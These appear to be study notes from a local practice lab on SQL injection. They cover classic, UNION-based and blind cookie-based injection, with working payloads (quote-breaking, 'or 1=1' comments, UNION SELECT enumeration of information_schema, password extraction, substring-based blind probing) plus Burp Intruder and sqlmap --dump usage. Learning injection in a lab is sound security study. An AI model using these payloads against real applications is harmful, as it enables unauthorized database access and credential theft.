Refer: OWasp A03:2021
- How: Start off adding single/double quote to break the structure and study the responses. If vulnerable, append query to retrieve information.
- Type: Classic, UNION, Blind, Time-based
SQLi Vulnerability Discovery
Note: 💭 When determining SQLi, think of everything you send to the application, how it may be used?
Database: Select user from users where username = “User_Input” or ‘User_Input’
Visit SQLi cheat sheet.
- Single of double quote. Try to break the design.
E.g.,bob'
orbob"
- Logical query: or 1=1
E.g.,bob' or 1=1
,bob' or '1=1
,bob" or "1=1
- Comment : # – -, everything after it will be ignored.
E.g.,bob' or '1=1#
bob' or '1=1-- -
bob" or "1=1#
bob" or "1=1-- -
SQLi Union
It appends an additional SQL query after the original, legitimate one.
Note: ⚠️UNION SELECT: Determine the available column number can be returned first. Keep adding ,NULL
values until the query returns results properly.
SQL: bob’ union select null
#
In the first example, the database contains 3 columns that contains text. But it only gives us two output bob
and null
.
- Table
UNION SELECT table_name from information_schema.tables#
- Column
UNION SELECT column_name from information_schema.columns#
- Retrieve Data
UNION SELECT username from <Table>
Version Query
Insert version query make it return at the 3rd column. Which tells us the version of the SQL database is 8.0.43.
SQL: bob' union select null,null,version()#
Return:
Username: bob - Email: bob@example.com
Username: Email: 8.0.43
Available_Table Query
Use table_name from information_schema.tables
to retrieve all available table name from the DB.
SQL: bob' union select null,null,table_name from information_schema.tables#
Return: Username: bob - Email: bob@example.com
Username: - Email: CHARACTER_SETS
Username: - Email: CHECK_CONSTRAINTS
.
.
.
Username: - Email: injection0x01
Username: - Email: injection0x02
Username: - Email: injection0x03_products
Username: - Email: injection0x03_users
Username: - Email: xss0x02
Available_Column Query
Use column_name from information_schema.columns
to retrieve all available column names from the DB.
SQL: bob' union select null,null,column_name from information_schema.columns#
Username: bob - Email: bob@example.com
Username: - Email: ENCRYPTION
Username: - Email: username
Username: - Email: password
Username: - Email: email
Username: - Email: session
Retrieve Password Query
Since we discover there’s password in our current table injection0x01. use select password from injection0x01.
SQL: jeremy' union select password from injection0x01,null,null#
Username: jeremy - Email: jeremy@example.com
Username: - Email: jeremyspassword
Username: - Email: jessamyspassword
Username: - Email: bobspassword
Note: ⚠️ If 1st column doesn’t work, try insert query in 2nd column. If it still not working, try 3rd column, and so on. SQL: jeremy’ union select null,password from injection0x01,null#
SQLi Blind
when Web application doesn’t return any error messages or data from DB. We need to look for subtle differences in the server’s response, which can reveal whether the input field is vulnerable to SQL injection.
E.g., Response Content-Length
Note: 🚨 If it return the same response as the original request, it means the input is vulnerable to SQLi.
After determine the vulnerability to SLQi Blind, we use YES/NO approach to extract data.
E.g., Is user ‘Admin’ existed in DB? YES/NO?
Burp Suite Proxy
Using Burp Proxy intercept POST /labs/i0x02.php
request that contains login payload username=jeremy&password=jeremy
.
Copy and paste the entire body to .txt file, we will use SQLMAP to identify injectable input area.
POST /labs/i0x02.php HTTP/1.1
Host: localhost
Content-Length: 31
Cache-Control: max-age=0
Origin: [http://localhost](http://localhost/)
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: keep-alive
username=jeremy&password=jeremy
Identify SQL injectable by SQLMap
Run the application against target HTTP request, it will analyze and tell us which input is vulnerable to SQLi.
$ sudo sqlmap -r <Path_to_Target_File>
The result suggest all the input in the page aren’t injectable.
[12:28:49] [WARNING] heuristic (basic) test shows that POST parameter ‘username’ might not be injectable
[12:29:06] [WARNING] POST parameter ‘username’ does not seem to be injectable
[12:29:06] [WARNING] heuristic (basic) test shows that POST parameter ‘password’ might not be injectable
[12:29:07] [WARNING] POST parameter ‘password’ does not seem to be injectable
[12:29:07] [CRITICAL] all tested parameters do not appear to be injectable.
After learning the 1st request we captured isn’t valuable, we move on to the next request GET /labs/i0x02.php
which contains our session cookie in the body.
Cookie: session=6967cabefd763ac1a1a88e11159957db
Response: Content-Length: 1027
Insert quote to test if we can break the structure, which gives us the same Content-Length in response.
Cokie: session=6967cabefd763ac1a1a88e11159957db' and 1=1#
Response: Content-Length: 1027
Substr()
Syntax: substr(string,start,length)
For instance: substr("SQL Test",5,3)
# Extract a substring from a string, and start at position 5, extract 3 characters.
In our case, if we send Cookie: session=<cookie>' and substring('a',1,1) = 'a'#
which will return normal Content-Length. That’s because the string the 1st character from position 1 is equal to ‘a’
So we’d like to compare the provide character with the data in the DB.
Version Testing
- Send
Cookie: session=<cookie>' and substring((version()),1,1) = '8'#
which return normal Content-Length (1027).
# That indicates the version start with 8. - After testing each number of the version one by one. we retrieve the SQL version with
Cookie: session=<cookie>' and substring((version()),1,5) = '8.0.4'#
that return normal Content-Length (1027)
Burp Suite Intruder
Since password can be long and complex, we can utilize the Burp Intruder perform the automatic task.
- Send the request to intruder
Cookie: session=<cookie>' and substring((select password from injection0x02 where username = 'jeremy'),1,1) = 'payload'#`
-
Use all Alphanumeric character as payload
- Determine the correct character by studying the Content-Length
SQL Map
- $ python3 sqlmap.py -r <Path_to_Target_File> --level=2
# --level=2 meant for cookie parameter injection.
- $ python3 sqlmap.py -r <Path_to_Target_File> -T <Table_name> --dump